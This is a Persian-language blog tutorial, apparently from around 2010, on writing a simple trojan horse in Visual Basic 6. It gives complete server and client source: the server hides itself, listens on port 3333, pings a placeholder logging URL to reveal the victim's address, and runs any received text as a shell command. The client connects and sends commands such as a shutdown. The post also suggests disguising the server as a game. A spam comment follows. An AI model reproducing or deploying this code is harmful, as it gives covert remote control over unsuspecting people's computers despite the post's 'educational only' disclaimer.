ساخت یک تروجان ساده

ساخت یک تروجان ساده

توجه :

این جانب نویسنده این مقاله هیچ مسئولیتی در قبال استفاده شما از مطالب این مقاله را بر عهده نمی گیرم زیرا این مقاله فقط جنبه آموزشی دارد و در صورتی که با این موضوع موافق نیستید از خواندن ادامه این مقاله پرهیز کنید .

خوب , اگه دنبال یه مقاله خوب واسه تروجان نویسی با ویژوال بیسیک 6 هستید فکر میکنم مقاله خوبی پیش روی شماست البته این مقاله خیلی مختصر هستش ولی اگه در آینده وقتشو داشتم یه مقاله مفصل در این باره مینویسم . 

روی ادامه مطالب کلیک کنید.

بزارید این اول یه توضیح مختصری در مورد تروجان بدم و اینکه تروجانها چطوری کار میکنند .

یه تروجان یا بهتره بگم یک اسب تروجان کامپیوتری مثل یه برنامه ساده هستش که ازش انتظار انجام کار خاصی رو میشه ولی در اصل اون برنامه کارهای مخفیه دیگه ای رو انجام میده . خیلی ساده هدف ما اونو دانلود میکنه به گمان اینکه یه برنامه خوب باشه مثلا یه بازی جذاب ولی وقتی اونو اجرا میکنه تروجان مثل یه سرور شروع به کار میکنه حالا اینکه سرور چیه فکر نمی کنم به موضوع این مقاله زیاد ربطی داشته باشه ولی به عنوان یک تعریف ساده میشه گفت برنامه ای که پاسخ گوی درخواستها باشه رو بهش میگن سرور .

خوب حالا یه تروجان چطوری کار میکنه ؟

ما دو تا فایل داریم که یکیش سرور هستش و یکی هم کلاینت که کار این کلاینت درخواست کردن هستش حالا درخواست چی ؟ دیگه دیگه ...!!!

این سرور همون فایلی هستش که ما واسه هدفمون می فرستیم و این کلاینت مرکز کنترل سرور هستش . این سرور و کلاینت برای ایجاد ارتباط با هم نیاز به یه کنترلی دارند به نام winsock .

winsock یکی از کنترل های ویژوال بیسیک هستش که اجازه ارتباط میان کامپیوتر ها رو به ما میده . مثلا فکر کنید که ما دستور خاموش کردن رو به سرور میفرستیم . این وینساک به ما کمک میکنه تا اطلاعات رو از کامپیوتر خودمون به سرور بفرستیم . خوب حالا اونور داستان وقتی اطلاعات به کامپیوتر هدف رسید اونجا یه سوراخی هستش که به سرور میگه این بچه دباره کرمش گرفته کامپیوتر این بد بخت رو خاموش کنه و سرور هم به کامپیوتر هدف میگه که خاموش شه و اون بدبختم که احتمالا 24 ساعته که روشنه از خدا خواسته ...

حالا دیگه داستان تعریف کردن بسه بریم سر اصل مطلب

این کد هایی که این زیر مشاهده میکنید کدهای فایل server.exe هستش . توجه کنید که شما به کنترل وینساک نیاز دارید پس دکمه های Ctl + T رو باهم فشار دهید و از پینجره ای که باز میشه دنبال Microsoft Winsock Control 6.0 بگردین . بعد از اضافه کردن اسمشو بزارید winsock1 .

خوب حالا بیاید ببینیم این کدها چیکار میکنند

Private Sub Form_Load()

 Me.Hide

 If Winsock1.State <>; sckClosed Then Winsock1.Close

 Winsock1.LocalPort = 3333

 Winsock1.Listen

 Shell ("explorer http://www.yoursite/log.php")

End Sub

  Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

 If Winsock1.State <> sckClosed Then Winsock1.Close

 Winsock1.Accept requestID

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

 Dim data As String

 Winsock1.GetData data

 Shell data, vbNormalFocus

End Sub

 

me.hide اگه کسی ندونه این چیه که خیلی باحاله

If Winsock1.State <> sckClosed Then Winsock1.Close وقتی صفحه لود میشه همه ارتباط های مربوط به وینساکمونو میبنده

Winsock1.LocalPort = 3333 پورت وینساک رو تنظیم میکنه یعنی از این پورت میشه بهش کانکت شد

Winsock1.Listen خوب حالا وینساک گوش به زنگ میمونه تا یکی بهش کانکت شه

Shell ("explorer http://www.yoursite/log.php") این یه کد اختیاری برای فهمیدن آدرس های فعال میشه از روشهای دیگه ای آیپی هدف رو در اختیار خودمون قرار بدیم

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)درخواست ارتباط رو فعال میکنه

If Winsock1.State <> sckClosed Then Winsock1.Close Close اگه ارتباطی فعال باشه اونو قطع میکنه

Winsock1.Accept خوب حالا ارتباط مورت تائید قرار میگیره

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) وقتی داده ای بیاد فعال میشه مثل وقتی که دستوری بفرستیم واسش

Dim Data As String خوب حالا یه متغیر تعریف کردیم

Winsock1.GetData Data خوب حالا داده ها که همون دستورات هستند رو دریافت میکنیم

Shell data, vbNormalFocus به به اینهمه زور زدیم که به همین جا برسیم حالا داده های رسیده مثل یه دستور اجرا میشه مثلا اگه بنویسیم shutdown -s -t 10 و ارسال کنیم کامپیوتر قربانی بعد از مدت 10 ثانیه خاموش میشه

خوب حالا نوبت کلاینت هستش . کد زیر کد فایل client.exe هستش که توی فرممون نیاز به یه دونه وینساک به نام winsock1 و سه تا تکست باکس به نام های textbox 1 , textbox2 , twxtbox3 و همچنین 2 تا کامند باتن به نامهای command1 , command 2 داریم

Private Sub Command1_Click()

 Winsock1.RemotePort = Text2.Text

 Winsock1.RemoteHost = Text1.Text

 Winsock1.Connect

End Sub

 

Private Sub Command2_Click()

 Winsock1.SendData Text3.Text

End Sub

 

Private Sub Form_Load()

 If Winsock1.State <> sckClosed Then Winsock1.Close

End Sub

 

Private Sub Winsock1_Connect()

 msgbox ("Connected!")

End Sub

 

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,

 ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,

 ByVal HelpContext As Long, CancelDisplay As Boolean)

 MsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error"

End Sub

 

 خوب حالا ببینیم این کدها چیکار میکنند

Private Sub Command1_Click() وقتی کامند 1 کلیک میشه اجرا میشه

Winsock1.RemotePort = Text2.Text پورت کامپیوتر قربانی به اون چیزی که توی تکستباکس 2 نوشته شده تنظیم میشه

Winsock1.RemoteHost = Text1.Text آدرس کامپیوتر قربانی رو به اونچیزی که توی تکستباکس 1 نوشته شده تنظیم میکنه

Winsock1.Connect جهت ایجاد ارتباط با هدف شروع به تلاش کردن میکنه

Private Sub Command2_Click() وقتی کامند 2 فشرده میشه

Winsock1.SendData Text3.Text داده های درون تکستباکس 3 رو برای کامپیوتر هدف ارسال میکنه

Private Sub Form_Load() When client started

If Winsock1.State <> sckClosed Then Winsock1.Close وقتی فرم لود میشه اگه وینساک مون ارتباط فعالی داشده باشه اونو قطع میکنه

Private Sub Winsock1_Connect() وقتی وینساک کانکت میشه

msgbox ("Connected!") ایجاد ارتباط رو اعلام میکنه

Private Sub Winsock1_Error(...) وقتی خطایی رخ بده

MsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error" خطا اعلام میشه

خیلی ساده بود نه؟ اگه دیدم که این مقاله مورد علاقه قرار گرفت شاید قسمت دومش رو هم بنویسم البته خیلی عمقی تر و پیشرفته تر از یه تروجان ساده داس .

نظرات 1 + ارسال نظر
navid جمعه 11 دی 1388 ساعت 10:52 ب.ظ http://www.linkbox.download-iran.com

سلام اگر می خوای بازدید وبلاگت زیاد بشه در این سایت عضو شو http://www.linkbox.download-iran.com

برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد